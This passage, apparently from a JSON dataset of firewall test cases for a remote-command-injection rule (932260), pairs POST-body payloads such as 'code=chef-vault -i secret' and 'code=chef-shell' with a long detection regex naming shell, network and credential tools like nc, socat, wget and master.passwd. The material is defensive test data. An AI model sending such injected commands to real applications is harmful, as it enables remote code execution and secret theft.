"(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@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ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Block execution of ansible playbooks" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=chef-vault -i secret\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML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\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Block decryption of secrets with chef-vault" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=chef-shell\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(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?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:a(?:ddgroup|nsible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Block execution of chef-shell command" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=chef-run all recipie.rb\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?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\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:a(?:ddgroup|nsible|pparmor_[^\\s\\x0b]{1,10}\\b|rj(?:-register|disp)|tobm(?:[\\s\\x0b&\\),<>\\|]|$)|u(?:ditctl|repot|search))|b(?:ase(?:32|64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Block execution chef recipie book" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=chef-client -t 1.1.1.1\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 